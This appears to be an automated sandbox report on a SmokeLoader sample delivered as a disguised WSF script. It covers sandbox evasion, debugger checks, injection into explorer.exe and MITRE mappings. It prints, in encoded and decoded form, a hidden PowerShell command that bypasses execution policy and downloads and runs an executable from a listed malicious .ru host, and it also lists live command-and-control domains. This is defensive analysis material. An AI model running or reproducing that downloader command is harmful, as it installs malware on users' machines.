Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 464	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 403	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 895	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 861	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7372	Thread sleep count: 4760 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7372	Thread sleep count: 5097 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7444	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3776	Thread sleep count: 464 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6244	Thread sleep count: 403 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_00418A70 GetSystemTimeAdjustment followed by cmp: cmp dword ptr [00513d6ch], 11h and CTI: jne 00418CA4h		5_2_00418A70
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_00418A70 GetSystemTimeAdjustment followed by cmp: cmp dword ptr [00513d6ch], 11h and CTI: jne 00418CA4h		10_2_00418A70

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: )d2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000009.00000002.2691810923.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000/;
Source: explorer.exe, 00000009.00000002.2691810923.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000o;
Source: explorer.exe, 00000009.00000000.1644607896.00000000095B9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: powershell.exe, 00000004.00000002.1605660173.0000023BF6DDB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000009.00000000.1644607896.00000000095B9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 1efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000009.00000000.1643693604.00000000094DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2697965705.00000000094DC000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: explorer.exe, 00000009.00000000.1644607896.00000000095B9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTbrVMWare
Source: explorer.exe, 00000009.00000000.1644607896.00000000095B9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}?
Source: explorer.exe, 00000009.00000002.2697965705.000000000952D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1643693604.000000000952D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000009.00000000.1643693604.00000000093B4000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000009.00000002.2697965705.00000000094DC000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: %SystemRoot%\system32\mswsock.dlldRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000009.00000000.1643693604.00000000093B4000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 2VMware Virtual USB MouseJC:\Windows\System32\DDORes.dll,-2212
Source: explorer.exe, 00000009.00000000.1644607896.00000000095B9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000004.00000002.1605660173.0000023BF6D53000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllVV
Source: explorer.exe, 00000009.00000002.2693087527.0000000002FA0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\wbfgshs	System information queried: CodeIntegrityInformation			Jump to behavior

Found API chain indicative of debugger detection

Source: C:\Users\user\AppData\Roaming\wbfgshs	Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep			graph_10-4166
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep			graph_5-4070

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\wbfgshs	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe

Code function: 5_2_0040332A LdrLoadDll,ExpandEnvironmentStringsW,CreateFileW,CreateFileMappingW,MapViewOfFile,NtEnumerateKey,

5_2_0040332A

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_006A092B mov eax, dword ptr fs:[00000030h]	5_2_006A092B
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_006A0D90 mov eax, dword ptr fs:[00000030h]	5_2_006A0D90
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_0090FFD4 push dword ptr fs:[00000030h]	5_2_0090FFD4
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_007B092B mov eax, dword ptr fs:[00000030h]	10_2_007B092B
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_007B0D90 mov eax, dword ptr fs:[00000030h]	10_2_007B0D90
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_007EFEFC push dword ptr fs:[00000030h]	10_2_007EFEFC

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: wbfgshs.9.dr

Jump to dropped file

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Thread created: C:\Windows\explorer.exe EIP: B219F0			Jump to behavior
Source: C:\Users\user\AppData\Roaming\wbfgshs	Thread created: unknown EIP: 88219F0			Jump to behavior

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $path = $Env:temp+'\oBuf.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://bestmagazineforanimalsunicum.ru/download/svc.exe',$path); Start-Process -FilePath $path
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $path = $Env:temp+'\oBuf.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://bestmagazineforanimalsunicum.ru/download/svc.exe',$path); Start-Process -FilePath $path			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wbfgshs	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wbfgshs	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\oBuf.exe "C:\Users\user\AppData\Local\Temp\oBuf.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell -nop -w hidden -ep bypass -enc jabwageadaboacaapqagacqarqbuahyaogb0aguabqbwacsajwbcag8aqgb1agyalgblahgazqanadsaiaakagmababpaguabgb0acaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqaowagacqaywbsagkazqbuahqalgbkag8adwbuagwabwbhagqazgbpagwazqaoaccaaab0ahqacaa6ac8alwbiaguacwb0ag0ayqbnageaegbpag4azqbmag8acgbhag4aaqbtageababzahuabgbpagmadqbtac4acgb1ac8azabvahcabgbsag8ayqbkac8acwb2agmalgblahgazqanacwajabwageadaboackaowagafmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagacqacabhahqaaaa=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -nop -w hidden -ep bypass -enc jabwageadaboacaapqagacqarqbuahyaogb0aguabqbwacsajwbcag8aqgb1agyalgblahgazqanadsaiaakagmababpaguabgb0acaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqaowagacqaywbsagkazqbuahqalgbkag8adwbuagwabwbhagqazgbpagwazqaoaccaaab0ahqacaa6ac8alwbiaguacwb0ag0ayqbnageaegbpag4azqbmag8acgbhag4aaqbtageababzahuabgbpagmadqbtac4acgb1ac8azabvahcabgbsag8ayqbkac8acwb2agmalgblahgazqanacwajabwageadaboackaowagafmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagacqacabhahqaaaa=
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell -nop -w hidden -ep bypass -enc jabwageadaboacaapqagacqarqbuahyaogb0aguabqbwacsajwbcag8aqgb1agyalgblahgazqanadsaiaakagmababpaguabgb0acaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqaowagacqaywbsagkazqbuahqalgbkag8adwbuagwabwbhagqazgbpagwazqaoaccaaab0ahqacaa6ac8alwbiaguacwb0ag0ayqbnageaegbpag4azqbmag8acgbhag4aaqbtageababzahuabgbpagmadqbtac4acgb1ac8azabvahcabgbsag8ayqbkac8acwb2agmalgblahgazqanacwajabwageadaboackaowagafmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagacqacabhahqaaaa=	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -nop -w hidden -ep bypass -enc jabwageadaboacaapqagacqarqbuahyaogb0aguabqbwacsajwbcag8aqgb1agyalgblahgazqanadsaiaakagmababpaguabgb0acaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqaowagacqaywbsagkazqbuahqalgbkag8adwbuagwabwbhagqazgbpagwazqaoaccaaab0ahqacaa6ac8alwbiaguacwb0ag0ayqbnageaegbpag4azqbmag8acgbhag4aaqbtageababzahuabgbpagmadqbtac4acgb1ac8azabvahcabgbsag8ayqbkac8acwb2agmalgblahgazqanacwajabwageadaboackaowagafmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagacqacabhahqaaaa=	Jump to behavior

Source: explorer.exe, 00000009.00000000.1641472251.0000000004460000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2692355621.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000009.00000002.2699343946.00000000095B9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000009.00000002.2692355621.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000009.00000000.1639745547.0000000001081000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000009.00000002.2692355621.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000009.00000000.1639745547.0000000001081000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: EProgram Manager
Source: explorer.exe, 00000009.00000002.2691810923.0000000000889000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1639328782.0000000000889000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman
Source: explorer.exe, 00000009.00000002.2692355621.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000009.00000000.1639745547.0000000001081000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe

Code function: 5_2_00418A70 InterlockedCompareExchange,GetFocus,ReadConsoleA,FindAtomA,SearchPathA,SetConsoleMode,SearchPathW,GetDefaultCommConfigA,CopyFileExW,CreatePipe,GetEnvironmentStringsW,WriteConsoleOutputA,GetModuleFileNameA,GetSystemTimeAdjustment,ObjectPrivilegeAuditAlarmW,WaitForSingleObject,SetCommState,GetConsoleAliasesLengthW,GetComputerNameA,CopyFileW,GetFileAttributesA,GetConsoleAliasExesLengthW,GetBinaryType,FormatMessageA,GetLongPathNameA,PurgeComm,LoadLibraryA,MoveFileW,InterlockedCompareExchange,

5_2_00418A70

Source: C:\Windows\explorer.exe

Code function: 9_2_00B23520 GetUserNameW,

9_2_00B23520

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1658821304.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1658888908.00000000006D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1937588498.0000000002181000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1937415520.00000000007C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1658821304.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1658888908.00000000006D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1937588498.0000000002181000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1937415520.00000000007C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Native API	22 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	11 System Time Discovery	Remote Services	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Exploitation for Client Execution	1 DLL Side-Loading	212 Process Injection	13 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	12 Software Packing	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	6 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	214 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Masquerading	LSA Secrets	611 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	231 Virtualization/Sandbox Evasion	Cached Domain Credentials	231 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	212 Process Injection	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Hidden Files and Directories	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3312.PDF.wsf	5%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\wbfgshs	100%	Avira	HEUR/AGEN.1312567
C:\Users\user\AppData\Local\Temp\oBuf.exe	100%	Avira	HEUR/AGEN.1312567
C:\Users\user\AppData\Roaming\wbfgshs	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\oBuf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\oBuf.exe	82%	ReversingLabs	Win32.Trojan.SmokeLoader
C:\Users\user\AppData\Roaming\wbfgshs	82%	ReversingLabs	Win32.Trojan.SmokeLoader

Source	Detection	Scanner	Label
https://api.msn.com:443/v1/news/Feed/Windows?	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://android.notify.windows.com/iOS	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bestmagazineforanimalsunicum.ru	193.46.217.78	true	true	unknown
ceoconstractionstore.pl	188.40.141.211	true	true	unknown
unicexpertmagazine.pw	193.46.217.78	true	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://openclehardware.ru/index.php	true	unknown
http://bestmagazineforanimalsunicum.ru/download/svc.exe	true	unknown
http://ceoconstractionstore.pl/index.php	true	unknown
http://informcoopirationunicolceo.ru/index.php	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 00000009.00000002.2697965705.00000000093B4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1643693604.00000000093B4000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://wns.windows.com/bat	explorer.exe, 00000009.00000000.1644607896.0000000009730000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2699343946.0000000009730000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/health/wellness/7-secrets-to-a-happy-old-age-backed-by-science/ss-AA1hwpvW	explorer.exe, 00000009.00000002.2694950783.0000000006F94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1641669934.0000000006F94000.00000004.00000001.00020000.00000000.sdmp	false		unknown
